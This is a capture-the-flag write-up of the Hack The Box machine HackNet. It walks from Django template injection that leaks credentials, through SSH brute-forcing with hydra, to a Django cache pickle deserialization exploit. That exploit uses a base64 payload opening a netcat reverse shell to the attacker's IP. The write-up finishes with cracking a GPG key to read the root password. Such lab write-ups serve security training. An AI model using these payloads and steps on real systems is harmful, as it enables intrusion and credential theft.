Hackthebox: HackNet
Overview
HackNet is a medium-difficulty Hack The Box machine that starts with a Django Template Injection information disclosure, allowing us to enumerate users and credentials. This initial foothold leads to SSH access, followed by a Django cache deserialization (pickle) RCE, lateral movement, and finally full root compromise via exposed GPG-encrypted backups.

Reconnaissance
Target IP:
1 | 10.10.11.85 |
Main application: http://hacknet.htb/explore
Interacting with the Like / Likes functionality reveals user-controlled content rendered by the backend.
Web Application Analysis
The application is built using Django and the Django Template Language (DTL).
Key DTL characteristics:
- Only variables passed into the template context can be rendered
- No arithmetic or system command execution
- Impact limited to information disclosure
By modifying our username to:{{users}}
We receive a QuerySet containing user objects.
Refining it further:{{users.values}}
This leaks emails and passwords directly from the database.
Credential Extraction
To automate extraction, the following script was used:
1 | import re |
we get there creds:
1 | codebreaker:C0d3Br3@k! |
Initial Access β SSH
Using the extracted credentials, we brute-force SSH:
1 | kujen@DESKTOP-MFRH5U5:~$ hydra -C users_pass.txt hacknet.htb ssh -I |
Valid credentials found:
mikey:mYd4rks1dEisH3re
SSH access and user flag:
1 | kujen@DESKTOP-MFRH5U5:~$ ssh [email protected] |
Django Cache Deserialization (RCE)
Source review reveals cached views cat /var/www/HackNet/SocialNetwork/views.py:
1 | #line 489 |
1 |
|
Important notes:
- Django caches view results for 60 seconds
- Default backend: FileBasedCache
- Cached objects are stored using pickle
- Pickle deserialization is unsafe when attacker-controlled
Exploitation
https://xz.aliyun.com/news/7928
Access /explore to generate cache files
Overwrite cached objects with a malicious pickle
Revisit /explore to trigger execution
Pickle payload:
1 | import pickle |
1 | for i in $(ls); do rm -f $i; echo 'gASVPAAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjCFidXN5Ym94IG5jIDEwLjEwLjE2LjIxIDQ0NDQgLWUgc2iUhZRSlC4=' |base64 -d> $i; chmod 777 $i; done |
Overwrite cache files and set permissions, then start a listener:
1 | PS C:\Users\HP\Downloads> .\nc64.exe -lvnp 4444 |
Shell received as:
uid=1001(sandy) gid=33(www-data)
Lateral Movement β Sandy
A GPG private key is found:
1 | sandy@hacknet:~$ ls -al |
1 | sandy@hacknet:~/.gnupg/private-keys-v1.d$ cat armored_key.asc |
Cracking the key:
1 | gpg2john armored_key.asc > hash.txt |
1 | sandy@hacknet:/var/www/HackNet/backups$ ls |
1 | sandy@hacknet:/var/www/HackNet/backups$ gpg --import ~/.gnupg/private-keys-v1.d/armored_key.asc |
1 | sandy@hacknet:/var/www/HackNet/backups$ gpg --batch --yes --passphrase "sweetheart" --pinentry-mode loopback -o "/tmp/backup.decrypted" -d "backup01.sql.gpg" |
1 | sandy@hacknet:/tmp$ strings backup* | grep -i password |
Decrypting reveals the root password:
root:h4ck3rs4re3veRywh3re99
Switch user with su root
Root access achieved!
That was it for HackNet, hope you learned something new!
-0xkujen
- Title: Hackthebox: HackNet
- Author: Foued SAIDI
- Created at : 2026-01-16 17:15:01
- Updated at : 2026-01-16 20:14:20
- Link: https://kujen5.github.io/2026/01/16/Hackthebox-HackNet/
- License: This work is licensed under CC BY-NC-SA 4.0.